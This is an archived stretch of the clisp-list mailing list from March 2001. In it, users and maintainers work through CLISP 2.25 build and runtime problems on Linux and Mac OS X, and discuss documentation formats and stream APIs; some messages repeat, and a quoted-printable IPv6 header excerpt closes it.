1. Break [2]> 
[3]> (quit)

----------------------------------------
Something wrong here:
---------------------------------------

>clisp -q -norc -K full

[1]> (something-stupid)
>

------------------------------------------

Here are my vital statistics:

*features*
(:CLX-MIT-R5 :CLX-MIT-R4 :XLIB :CLX :CLX-LITTLE-ENDIAN
 :HAVE-READ-BYTE-LOOKAHEAD :HAVE-WITH-STANDARD-IO-SYNTAX :HAVE-CLCS
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 :CLTL2 :COMMON-LISP :INTERPRETER :LOGICAL-PATHNAMES :FFI :GETTEXT :UNICODE
 :BASE-CHAR=CHARACTER :PC386 :UNIX)

Linux localhost.localdomain 2.4.2 #3 Mon Mar 12 11:34:35 CET 2001 i586 unknown
GNU CLISP 2.25 (released 2001-03-15) (built 3193738054) (memory 3193738900)

Regards,
Peter


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Paolo Amoroso writes:

> > * A new version numbering scheme is adopted.
> 
> Can you tell something more about the new numbering scheme?

It's a MAJOR.MINOR[.SUBMINOR] scheme, like that used by many other GNU
programs.

This release is called 2.25 because it's the 26th non-bugfix-only
release of this major version. The list of releases can be found in
the src/HISTORY file in the source.

Bruno


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Peter Wood writes:

> Thanks!  I think there are a few problems...
> 
> Line 1830 of the Makefile:
> 
> impnotes.html : ../doc/impnotes.html
> 	$(CP)  ../doc/impnotes.html impnotes.html
> 
> Stopped the make, with a "no rule for" error.

Thanks for reporting it. A new release has been uploaded to the ftp
servers, in order to correct this problem.

> More seriously, when I load clisp with the "-K full" option, any error
> immediately exits clisp.  I get no error message or anything else.  Am
> I forgetting something?
> 
> This is what it looks like:
> 
> Script started on Fri Mar 16 13:19:23 2001
> ------------------------------------------
> Correct behaviour:
> -----------------------------------------
> 
> >clisp -q --norc 
> 
> [1]> (something-stupid)
> 
> *** - EVAL: the function SOMETHING-STUPID is undefined
> 1. Break [2]> 
> [3]> (quit)
> 
> ----------------------------------------
> Something wrong here:
> ---------------------------------------
> 
> >clisp -q -norc -K full
> 
> [1]> (something-stupid)
> >

Argh. In base/lispinit.mem, sys::*break-driver* = #'sys::break-loop,
but in full/lispinit.mem, sys::*break-driver* = #'sys::batchmode-break-driver.

Expect a re-fixed release soon. Thanks for the quick feedback.

Bruno


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> * In message <20010308223417.A12051@localhost.localdomain>
> * On the subject of "[clisp-list] new-clx-bug"
> * Sent on Thu, 8 Mar 2001 22:34:17 +0100
> * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
>
> *** - internal error: statement in file "clx.e", line 9656 has been reached!!
> Please send the authors of the program a description how you produced this error!

if you look in the sources, you will see that this stems from the fact
that `xlib:change-keyboard-control' is not implemented.
actually, quite a few functions there are not implemented.

wanna give us a hand?

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Sam Steingold <sds@gnu.org> writes:

> > * In message <20010308223417.A12051@localhost.localdomain>
> > * On the subject of "[clisp-list] new-clx-bug"
> > * Sent on Thu, 8 Mar 2001 22:34:17 +0100
> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > *** - internal error: statement in file "clx.e", line 9656 has been reached!!
> > Please send the authors of the program a description how you produced this error!
> 
> if you look in the sources, you will see that this stems from the fact
> that `xlib:change-keyboard-control' is not implemented.
> actually, quite a few functions there are not implemented.

I'll have a look. But don't hold your breath 'cause ...

> wanna give us a hand?

there's no project I'd rather help than clisp, but with my programming
abilities, you are probably better off without.

Regards,

Peter


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Hi

Is there a recent latex or dvi version of impnotes.html?  The manual
package in the contrib directory at cons.org is quite old (1995).

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Peter Wood writes:

> Is there a recent latex or dvi version of impnotes.html?  The manual
> package in the contrib directory at cons.org is quite old (1995).

We've decided not to use TeX or (even worse) LaTeX for the CLISP
documentation.

For printing CLISP's impnotes.html there are three options:

  - Use the html2ps converter.
  - Use the amaya browser's print function,
  - Use netscape navigator's print function.

Bruno


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> * In message <801yrtv508.fsf@localhost.localdomain>
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> * Sent on 19 Mar 2001 22:11:03 +0100
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> Is there a recent latex or dvi version of impnotes.html?  

The master source for the impnotes manual is in doc/imp*.xml in
DocBook/XML format.
I can generate HTML using XALAN, but that's about it.
If you can find a way to generate other formats, we would appreciate it!

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Hello,

I guess I have problems running lisp programs from command line
with clisp (under w2k).

Suppose I have such a file test.lisp:

    (print "load")
    (defun test ()
      (print "test"))

I'm trying to run it like this:

    .\lisp.exe -M .\lispinit.mem -B . test.lisp

I see nothing on the console. I think it just silently exits,
because I tried this file with the same effect:

    (print "load")
    (defun test ()
      (print "test")
      (test))
    (test)

If I start lisp in interactive mode, it prints all my test strings OK:

    .\lisp.exe -M .\lispinit.mem -B . test.lisp
    (load "test")
    (test)

Of course, I can run it like this:

    .\lisp.exe -q -M .\lispinit.mem -B . -x "(load \"test\") (test)"

But this is firstly workaround, and secondly, it prints all the
system stuff like "Loading file ...", "Successfully loaded...",
etc. (even if I specify -q flag).

So what do you guys think about this?

Thanks,
Stas




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Sam Steingold <sds@gnu.org> writes:

> > * Honorable Peter Wood <peter.wood@worldonline.dk> writes:
> >
> > Is there a recent latex or dvi version of impnotes.html?  
> 
> The master source for the impnotes manual is in doc/imp*.xml in
> DocBook/XML format.
> I can generate HTML using XALAN, but that's about it.
> If you can find a way to generate other formats, we would appreciate it!

Hi,

I used db2dvi to generate dvi pages of impext.xml. (Which is what I
was interested in).  There are places where there appear to be some
problems, (maybe because I used an old docbook dtd) but it looks ok,
generally speaking.
 
According to the LDAP guide at:

 http://sunsite.dk/ldp/LDP/LDP-Author-Guide/jadewrappers.html#cygnus

You need the following packages:

sgml-common-0.1-8.noarch 
docbook-3.1-4.noarch 
stylesheets-1.54.13rh-1.noarch 

Updates at:

 http://www.redhat.com/support/errata/RHBA-2000022-01.html.

I had to boot up an old RedHat installation, as I don't have RPM on my
regular system.  I suspect these packages may be RedHat specific.

Regards,
Peter


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> * In message <4194625416.20010319223944@chat.ru>
> * On the subject of "[clisp-list] running lisp program from command line"
> * Sent on Mon, 19 Mar 2001 22:39:44 -0800
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>
> I guess I have problems running lisp programs from command line
> with clisp (under w2k).
> 
>     .\lisp.exe -M .\lispinit.mem -B . test.lisp
> 
> I see nothing on the console. I think it just silently exits,

yep - confirmed on nt4sp6.

Bruno, do you have an idea?


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Howdy folks,

I've used Eric Marsden's PostgreSQL Lisp package before and liked it
quite a bit.  However, we use Oracle here at work, and I'd like to be
able to access the database from CLISP.

Are there any Oracle or ODBC packages out there for CLISP?

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 Would that be a function of CLISP or the OS?  

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Howdy folks,

I've used Eric Marsden's PostgreSQL Lisp package before and liked it
quite a bit.  However, we use Oracle here at work, and I'd like to be
able to access the database from CLISP.

Are there any Oracle or ODBC packages out there for CLISP?

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<P><FONT SIZE=3D2>I've used Eric Marsden's PostgreSQL Lisp package =
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Is their a method to compile CLISP ( A driect or indirect method)?




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You could try UncommonSQL.  I don't have a URL at hand but Google
always helps.

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make[1]: Entering directory `/kdd3/opt/local/src/clisp/pristine/build/gettext/intl'
bison -y -d --name-prefix=__gettext --output plural.c plural.y
Usage: bison [-dhltvyV] [-b file-prefix] [-o outfile] [-p name-prefix]
       [--debug] [--defines] [--fixed-output-files] [--no-lines]
       [--verbose] [--version] [--help] [--yacc]
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       [--output=outfile] grammar-file
make[1]: *** [plural.c] Error 1
make[1]: Leaving directory `/kdd3/opt/local/src/clisp/pristine/build/gettext/int

attempting a quick fix:

$ bison -y -d -p __gettext -o plural.c plural.y
conflicts:  7 shift/reduce
$ make
gcc -O -c -DLOCALEDIR=\"/usr/local/share/locale\" -DLOCALE_ALIAS_PATH=\"/usr/local/share/locale\" -DLIBDIR=\"/usr/local/lib\" -DHAVE_CONFIG_H -I.. -I. -I../intl    plural.c
/opt/gnu/lib/bison.simple:141: conflicting types for `gettextparse__'
gettextP.h:232: previous declaration of `gettextparse__'
/opt/gnu/lib/bison.simple: In function `gettextparse__':
/opt/gnu/lib/bison.simple:354: too few arguments to function `__gettextlex'
plural.y:181: `arg' undeclared (first use in this function)
plural.y:181: (Each undeclared identifier is reported only once
plural.y:181: for each function it appears in.)
make: *** [plural.o] Error 1



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Sam Steingold writes:
> make[1]: Entering directory `/kdd3/opt/local/src/clisp/pristine/build/gettext/intl'
> bison -y -d --name-prefix=__gettext --output plural.c plural.y
> Usage: bison [-dhltvyV] [-b file-prefix] [-o outfile] [-p name-prefix]
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>        [--verbose] [--version] [--help] [--yacc]
>        [--file-prefix=prefix] [--name-prefix=prefix]
>        [--output=outfile] grammar-file
> make[1]: *** [plural.c] Error 1
> make[1]: Leaving directory `/kdd3/opt/local/src/clisp/pristine/build/gettext/int

First, this doesn't happen with the distribution, because the
distribution has plural.c newer than plural.y:

$ tar tvfz clisp-2.25.tar.gz | grep /plural
-rw-r--r-- root/root     34050 2001-03-12 21:21:24 clisp-2.25/src/gettext/intl/plural.c
-rw-r--r-- root/root      7717 2001-03-12 21:14:00 clisp-2.25/src/gettext/intl/plural.y

> attempting a quick fix:

Second, bison-1.24 is very old. (Btw, you should have mentioned the
version of bison you use.) At least bison-1.26 is needed for clisp
hacking. The current release is bison-1.28.

Bruno


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Where are we going WRT CLOS streams?
we have

 - industry-standard Gray streams and

 - CLISP-specific "generic-streams"
   (is anyone using them?
    should they be removed?)

What about the Franz streams?
        http://www.franz.com/support/documentation/6.0/doc/streams.htm
should we support them as well?

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Sam Steingold writes:
 > Where are we going WRT CLOS streams?
 > we have
 > 
 >  - industry-standard Gray streams and
 > 
 >  - CLISP-specific "generic-streams"
 >    (is anyone using them?
ME!

 >     should they be removed?)
I'd have to rewrite the stuff that uses them.
I'd probably try to live with the latest clisp that supports them
for a while.

 > What about the Franz streams?
 >         http://www.franz.com/support/documentation/6.0/doc/streams.htm
 > should we support them as well?


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> * In message <15035.64852.384828.819145@isis.compsvcs.com>
> * On the subject of "[clisp-list] CLOS streams"
> * Sent on Fri, 23 Mar 2001 17:50:12 -0800 (PST)
> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes:
>
> Sam Steingold writes:
>  >  - CLISP-specific "generic-streams"
>  >    (is anyone using them?
> ME!

any reason you don't like Gray streams?

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 > > Sam Steingold writes:
 > >  >  - CLISP-specific "generic-streams"
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 > > ME!
 > 
 > any reason you don't like Gray streams?

No.
I used generic streams before Gray streams were available.
I assume (without having looked at all) that it wouldn't be difficult
to switch (switch streams in mid ... what?) but surely more trouble
than leaving the code alone.


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>>>>> "Randy" == DYN  <Justice> writes:

  Randy> Is their a method to compile CLISP ( A driect or indirect
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COMPILE-FILE will be useful.  If you're interested in dumping a memory
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Dear friends,

I just downloaded clisp-2.25, but I found myself not able to compile it 
on Debian-2.2r2.  When I run

./configure

It reports that my gcc is not working.  Why that'so?

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>>>>> "bruce" == bruce  <bruce253@163.net> writes:

  bruce> It reports that my gcc is not working.  Why that'so?

Could you please provide some more detail?  Like the version of your
compiler? 

 $ gcc -v

The version of your system?

 $ uname -a

Results of a trivial C program compilation?

 $ cat <<EOF > foo.c
#include <stdio.h>

int main(void) {
  printf("Hello, world!\n");
}
EOF

 $ gcc -o foo foo.c

And if it compiles, what happens if you run it?

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Hello, world!

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Matt Curtin wrote:

>>>>>> "bruce" == bruce  <bruce253@163.net> writes:
>>>>> 
>   bruce> It reports that my gcc is not working.  Why that'so?
> 
> Could you please provide some more detail?  Like the version of your
> compiler? 
> 
>  $ gcc -v

gcc version 2.95.2 20000220 (Debian GNU/Linux)

> The version of your system?
> 
>  $ uname -a

Linux My-hostname 2.2.18pre21 #1 Sat Nov 18 18:47:15 EST 2000 i686 unknown

> Results of a trivial C program compilation?
> 
>  $ cat <<EOF > foo.c
> #include <stdio.h>
> 
> int main(void) {
>   printf("Hello, world!\n");
> }
> EOF
> 
>  $ gcc -o foo foo.c

It cannot compile, because it cannot find stdio.h. 

I see now the reason. I've updated libc6 to version 2.2.2-1to use the 
latest XFree86-4 but didn't do so for libc6-dev.  The old libc6-dev was 
already uninstalled during updating.

Thanks a lot for your help.

Best!




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Hi,

Just got OS X final release, and got the new version of clisp. The good 
news is that most of the problems I had had with the previous released 
version of clisp with the public beta have been solved. The bad news is 
that I have a whole new set of problems, this time with IPV6 support. 
Has anyone attempted compiling clisp on OS X? I have tried adding 
-UHAVE_IPV6 to cflags in the makefile, to no avail. Any other 
suggestions?

Here's a sampling of the errors I'm getting:

In file included from socket.d:40:
lispbibl.d:6882: warning: volatile register variables don't work as you 
might wish
socket.d: In function `C_machine_instance':
socket.d:196: structure has no member named `in6_u'
socket.d:196: structure has no member named `in6_u'
...

Thanks,

Sunil


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Sunil Mishra writes:
> I have tried adding 
> -UHAVE_IPV6 to cflags in the makefile, to no avail. Any other 
> suggestions?
> 
> Here's a sampling of the errors I'm getting:
> 
> In file included from socket.d:40:
> lispbibl.d:6882: warning: volatile register variables don't work as you 
> might wish
> socket.d: In function `C_machine_instance':
> socket.d:196: structure has no member named `in6_u'
> socket.d:196: structure has no member named `in6_u'

I'd try to add 

   #undef HAVE_IPV6

in socket.d, right after #include "lispbibl.c", around line 41.

And please tell us what a "struct in6_addr" looks like on MacOS X, so
we can fix the ipv6_ntop macro.

Bruno


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Hello.

Compilation of CLISP 2.25 in a RedHat Linux 7.0 box stopped
with errors:

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
./configure --prefix=3D/usr --fsstnd=3Dredhat --with-module=3Dwildcard --=
with-module=3Dregexp --with-module=3Dbindings/linuxlibc6 --with-module=3D=
clx//new-clx --with-module=3Dpostgresql642 --with-export-syscalls --build=
 build
executing build/configure ...
creating cache ./config.cache
[...]
cd data && ln -s ../../src/clhs.txt clhs.txt
gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo=
mit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICO=
DE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o s=
pvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io.o a=
rray.o hashtabl.o list.o package.o record.o sequence.o charstrg.o debug.o=
 error.o misc.o time.o predtype.o symbol.o lisparit.o foreign.o unixaux.o=
 posixmisc.o ari80386.o modules.o libsigsegv.a libiconv.a libintl.a libre=
adline.a libavcall.a libcallback.a  -lncurses -ldl  -lm -o lisp.run
pathname.o: In function `translate_pathname':
pathname.o(.text+0x428c): undefined reference to `STACK_'
pathname.o(.text+0x429c): undefined reference to `STACK_'
pathname.o(.text+0x42d4): undefined reference to `STACK_'
pathname.o(.text+0x42e4): undefined reference to `STACK_'
pathname.o(.text+0x431c): undefined reference to `STACK_'
pathname.o(.text+0x432c): more undefined references to `STACK_' follow
collect2: ld returned 1 exit status
make: *** [lisp.run] Error 1
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Any help?

Romildo
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On Wed, Mar 28, 2001 at 11:01:37AM -0500, Sam Steingold wrote:
> > * In message <20010328124249.A24588@urano.iceb.ufop.br>
> > * On the subject of "Error compiling CLISP 2.25 on RedHat Linux 7.0"
> > * Sent on Wed, 28 Mar 2001 12:42:49 -0300
> > * Honorable Jos=E9 Romildo Malaquias <romildo@urano.iceb.ufop.br> wri=
tes:
> >
> > Compilation of CLISP 2.25 in a RedHat Linux 7.0 box stopped
> > with errors:
> >=20
> > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D
> > ../configure --prefix=3D/usr --fsstnd=3Dredhat --with-module=3Dwildca=
rd --with-module=3Dregexp --with-module=3Dbindings/linuxlibc6 --with-modu=
le=3Dclx///new-clx --with-module=3Dpostgresql642 --with-export-syscalls -=
-build build
> > executing build/configure ...
> > creating cache ./config.cache
> > [...]
> > cd data && ln -s ../../src/clhs.txt clhs.txt
> > gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type=
 -fomit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DU=
NICODE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs=
.o spvwtabo.o eval.o control.o encoding.o pathname.o stream.o socket.o io=
.o array.o hashtabl.o list.o package.o record.o sequence.o charstrg.o deb=
ug.o error.o misc.o time.o predtype.o symbol.o lisparit.o foreign.o unixa=
ux.o posixmisc.o ari80386.o modules.o libsigsegv.a libiconv.a libintl.a l=
ibreadline.a libavcall.a libcallback.a  -lncurses -ldl  -lm -o lisp.run
> > pathname.o: In function `translate_pathname':
> > pathname.o(.text+0x428c): undefined reference to `STACK_'
> > pathname.o(.text+0x429c): undefined reference to `STACK_'
> > pathname.o(.text+0x42d4): undefined reference to `STACK_'
> > pathname.o(.text+0x42e4): undefined reference to `STACK_'
> > pathname.o(.text+0x431c): undefined reference to `STACK_'
> > pathname.o(.text+0x432c): more undefined references to `STACK_' follo=
w
> > collect2: ld returned 1 exit status
> > make: *** [lisp.run] Error 1
>=20
> STACK_ is a macro - it should have been expanded into something
> meaningful.=20
> please post the warnings after the compilation of pathname.d, as well a=
s
> the results of

gcc -O -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -fo=
mit-frame-pointer -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICO=
DE -DEXPORT_SYSCALLS -DDYNAMIC_FFI -c pathname.c
In file included from lispbibl.d:8143,
                 from pathname.d:6:
pseudofun.d:17:21: warning: "LPSEUDOCODE" redefined
pseudofun.d:17:1: warning: this is the location of the previous definitio=
n
pseudofun.d:18:21: warning: "XPSEUDOCODE" redefined
pseudofun.d:18:1: warning: this is the location of the previous definitio=
n
pseudofun.d:19:21: warning: "XPSEUDODATA" redefined
pseudofun.d:19:1: warning: this is the location of the previous definitio=
n
pathname.d:6016:54: warning: pasting would not give a valid preprocessing=
 token
pathname.d:6017:50: warning: pasting would not give a valid preprocessing=
 token
pathname.d:6018:50: warning: pasting would not give a valid preprocessing=
 token
pathname.d:6019:52: warning: pasting would not give a valid preprocessing=
 token
In file included from pathname.d:7:
lispbibl.d:7002: warning: register used for two global register variables
pathname.d: In function `parse_logical_word':
pathname.d:1547: warning: `ch' might be used uninitialized in this functi=
on
pathname.d: In function `translate_pathname':
pathname.d:6016: warning: implicit declaration of function `STACK_'

> $ uname -a

Linux urano.iceb.ufop.br 2.2.17-14 #1 Mon Feb 5 15:25:12 EST 2001 i586 un=
known

> $ gcc --version

2.96

Romildo
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OK, that hack got me past that error. Here's the in6_addr definition, in 
netinet6/in6.h:

struct in6_addr {
         union {
                 u_int8_t   __u6_addr8[16];
                 u_int16_t  __u6_addr16[8];
                 u_int32_t  __u6_addr32[4];
         } __u6_addr;                    /* 128-bit IP6 address */
};

There are other errors I ran into as well. The following is a more 
complete log of everything I have done thus far.

First and foremost, configure requires an explicit host declaration 
(configure --host=powerpc ...). It appears there are multiple configure 
scripts scattered through the system, and one of them is failing.

Next, I followed the make instructions that configure printed out, and 
ran into this error:

ln -s ../src/version.h version.h
cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wretur\
n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -c spvw.c
In file included from spvw.d:21:
lispbibl.d:1426: #error "Preferred integer sizes depend on CPU -- 
Gr\303\266\30\
3\237en intBWsize, intWLsize, intBWLsize neu einstellen!"
lispbibl.d:1600: #error "Preferred digit size depends on CPU -- 
Gr\303\266\303\\
237e intDsize neu einstellen!"
In file included from spvw.d:21:
lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined
/usr/include/mach/clock_types.h:119: warning: this is the location of 
the previ\
ous definition
make: *** [spvw.o] Error 1

It looks like the integer sizes for the powerpc are not defined. To get 
around this problem, I added -DRS6000 to CFLAGS in the makefile. Then 
execution continued until I ran into the ipv6 problem my original 
message described. I applied the #undef and continued the make, to run 
into this error:

cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
-Wretur\
n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DRS6000 -c 
time.c
In file included from time.d:4:
lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined
/usr/include/mach/clock_types.h:119: warning: this is the location of 
the previ\
ous definition
In file included from time.d:4:
lispbibl.d:6882: warning: volatile register variables don't work as you 
might w\
ish
time.d:170: conflicting types for `get_real_time'
lispbibl.d:6608: previous declaration of `get_real_time'
time.d: In function `get_real_time':
time.d:173: warning: implicit declaration of function `get_time'
time.d:173: invalid operands to binary -
time.d:174: warning: control reaches end of non-void function
time.d: At top level:
time.d:204: conflicting types for `get_real_time'
time.d:172: previous declaration of `get_real_time'
time.d:206: redefinition of `get_real_time'
time.d:204: `get_real_time' previously defined here
time.d: In function `init_time':
time.d:783: incompatible types in assignment
make: *** [time.o] Error 1

Again, I have no idea how to fix this.

Thanks for the help.

Sunil

On Wednesday, March 28, 2001, at 03:32 AM, Bruno Haible wrote:

> Sunil Mishra writes:
>> I have tried adding
>> -UHAVE_IPV6 to cflags in the makefile, to no avail. Any other
>> suggestions?
>>
>> Here's a sampling of the errors I'm getting:
>>
>> In file included from socket.d:40:
>> lispbibl.d:6882: warning: volatile register variables don't work as you
>> might wish
>> socket.d: In function `C_machine_instance':
>> socket.d:196: structure has no member named `in6_u'
>> socket.d:196: structure has no member named `in6_u'
>
> I'd try to add
>
>    #undef HAVE_IPV6
>
> in socket.d, right after #include "lispbibl.c", around line 41.
>
> And please tell us what a "struct in6_addr" looks like on MacOS X, so
> we can fix the ipv6_ntop macro.
>
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Sunil Mishra writes:
> OK, that hack got me past that error. Here's the in6_addr definition, in 
> netinet6/in6.h:
> 
> struct in6_addr {
>          union {
>                  u_int8_t   __u6_addr8[16];
>                  u_int16_t  __u6_addr16[8];
>                  u_int32_t  __u6_addr32[4];
>          } __u6_addr;                    /* 128-bit IP6 address */
> };

Doesn't really help - all these fields are private (start with __),
clisp cannot use them. Aren't there macros for accessing them?

> First and foremost, configure requires an explicit host declaration 
> (configure --host=powerpc ...). It appears there are multiple configure 
> scripts scattered through the system, and one of them is failing.

Should be fixed in the next release.

> cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit 
> -Wretur\
> n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE -DRS6000 -c 
> time.c
> In file included from time.d:4:
> lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined
> /usr/include/mach/clock_types.h:119: warning: this is the location of 
> the previ\
> ous definition
> In file included from time.d:4:
> lispbibl.d:6882: warning: volatile register variables don't work as you 
> might w\
> ish
> time.d:170: conflicting types for `get_real_time'
> lispbibl.d:6608: previous declaration of `get_real_time'

It seems this /usr/include/mach/clock_types.h header file defines both
TIME_RELATIVE and TIME_ABSOLUTE. This heavily confuses clisp. Can you
add #undef statements for them in lispbibl.d, near "#undef CBLOCK" and
"#undef hz"?

Bruno


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Begin forwarded message:

> From: Sunil Mishra <smishra@firstworld.net>
> Date: Wed Mar 28, 2001  02:47:13 PM US/Pacific
> To: Bruno Haible <haible@ilog.fr>
> Subject: Re: [clisp-list] clisp on os X?
>
>
> On Wednesday, March 28, 2001, at 11:57 AM, Bruno Haible wrote:
>
>> Sunil Mishra writes:
>>> OK, that hack got me past that error. Here's the in6_addr definition, 
>>> in
>>> netinet6/in6.h:
>>>
>>> struct in6_addr {
>>>          union {
>>>                  u_int8_t   __u6_addr8[16];
>>>                  u_int16_t  __u6_addr16[8];
>>>                  u_int32_t  __u6_addr32[4];
>>>          } __u6_addr;                    /* 128-bit IP6 address */
>>> };
>>
>> Doesn't really help - all these fields are private (start with __),
>> clisp cannot use them. Aren't there macros for accessing them?
>
> It looks like the macros you want are defined immediately following the 
> structure definition. But not trusting myself to read this code, I'm 
> going to attach the header file itself.
>
>>> cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith 
>>> -Wimplicit
>>> -Wretur\
>>> n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE 
>>> -DRS6000 -c
>>> time.c
>>> In file included from time.d:4:
>>> lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined
>>> /usr/include/mach/clock_types.h:119: warning: this is the location of
>>> the previ\
>>> ous definition
>>> In file included from time.d:4:
>>> lispbibl.d:6882: warning: volatile register variables don't work as 
>>> you
>>> might w\
>>> ish
>>> time.d:170: conflicting types for `get_real_time'
>>> lispbibl.d:6608: previous declaration of `get_real_time'
>>
>> It seems this /usr/include/mach/clock_types.h header file defines both
>> TIME_RELATIVE and TIME_ABSOLUTE.
>
> Indeed it does.
>
>>  This heavily confuses clisp. Can you
>> add #undef statements for them in lispbibl.d, near "#undef CBLOCK" and
>> "#undef hz"?
>>
>
> I added the lines:
>
>   #undef TIME_RELATIVE
>   #undef TIME_ABSOLUTE
>
> immediately following #undef CBLOCK and #undef hz. Now attempting to 
> invoke make again...
>
> It compiled all the way through and passed all the "make check" tests. 
> Thanks for the help :-)
>
> Sunil
>>
>>
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Begin forwarded message:

> From: Sunil Mishra <smishra@firstworld.net>
> Date: Wed Mar 28, 2001  02:47:13 PM US/Pacific
> To: Bruno Haible <haible@ilog.fr>
> Subject: Re: [clisp-list] clisp on os X?
>
>
> On Wednesday, March 28, 2001, at 11:57 AM, Bruno Haible wrote:
>
>> Sunil Mishra writes:
>>> OK, that hack got me past that error. Here's the in6_addr definition, 
>>> in
>>> netinet6/in6.h:
>>>
>>> struct in6_addr {
>>>          union {
>>>                  u_int8_t   __u6_addr8[16];
>>>                  u_int16_t  __u6_addr16[8];
>>>                  u_int32_t  __u6_addr32[4];
>>>          } __u6_addr;                    /* 128-bit IP6 address */
>>> };
>>
>> Doesn't really help - all these fields are private (start with __),
>> clisp cannot use them. Aren't there macros for accessing them?
>
> It looks like the macros you want are defined immediately following the 
> structure definition. But not trusting myself to read this code, I'm 
> going to attach the header file itself.
>
>>> cc -O -traditional-cpp -W -Wswitch -Wcomment -Wpointer-arith 
>>> -Wimplicit
>>> -Wretur\
>>> n-type -fomit-frame-pointer -Wno-sign-compare -O2 -DUNICODE 
>>> -DRS6000 -c
>>> time.c
>>> In file included from time.d:4:
>>> lispbibl.d:1995: warning: `TIME_ABSOLUTE' redefined
>>> /usr/include/mach/clock_types.h:119: warning: this is the location of
>>> the previ\
>>> ous definition
>>> In file included from time.d:4:
>>> lispbibl.d:6882: warning: volatile register variables don't work as 
>>> you
>>> might w\
>>> ish
>>> time.d:170: conflicting types for `get_real_time'
>>> lispbibl.d:6608: previous declaration of `get_real_time'
>>
>> It seems this /usr/include/mach/clock_types.h header file defines both
>> TIME_RELATIVE and TIME_ABSOLUTE.
>
> Indeed it does.
>
>>  This heavily confuses clisp. Can you
>> add #undef statements for them in lispbibl.d, near "#undef CBLOCK" and
>> "#undef hz"?
>>
>
> I added the lines:
>
>   #undef TIME_RELATIVE
>   #undef TIME_ABSOLUTE
>
> immediately following #undef CBLOCK and #undef hz. Now attempting to 
> invoke make again...
>
> It compiled all the way through and passed all the "make check" tests. 
> Thanks for the help :-)
>
> Sunil
>>
>>

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=20*/=0A#define=20IN6ADDR_ANY_INIT=20\=0A=09{{{=200x00,=200x00,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x00,=200x00=20}}}=0A#define=20=
IN6ADDR_LOOPBACK_INIT=20\=0A=09{{{=200x00,=200x00,=200x00,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x01=20}}}=0A#define=20=
IN6ADDR_NODELOCAL_ALLNODES_INIT=20\=0A=09{{{=200xff,=200x01,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x00,=200x01=20}}}=0A#define=20=
IN6ADDR_LINKLOCAL_ALLNODES_INIT=20\=0A=09{{{=200xff,=200x02,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x00,=200x01=20}}}=0A#define=20=
IN6ADDR_LINKLOCAL_ALLROUTERS_INIT=20\=0A=09{{{=200xff,=200x02,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x00,=20\=0A=09=20=20=20=200x00,=200x00,=20=
0x00,=200x00,=200x00,=200x00,=200x00,=200x02=20}}}=0A=0A#ifdef=20KERNEL=0A=
extern=20const=20struct=20in6_addr=20in6addr_any;=0Aextern=20const=20=
struct=20in6_addr=20in6addr_loopback;=0Aextern=20const=20struct=20=
in6_addr=20in6addr_nodelocal_allnodes;=0Aextern=20const=20struct=20=
in6_addr=20in6addr_linklocal_allnodes;=0Aextern=20const=20struct=20=
in6_addr=20in6addr_linklocal_allrouters;=0A#endif=0A=0A/*=0A=20*=20=
Equality=0A=20*=20NOTE:=20Some=20of=20kernel=20programming=20environment=20=
(for=20example,=20openbsd/sparc)=0A=20*=20does=20not=20supply=20=
memcmp().=20=20For=20userland=20memcmp()=20is=20preferred=20as=20it=20is=0A=
=20*=20in=20ANSI=20standard.=0A=20*/=0A#ifdef=20KERNEL=0A#define=20=
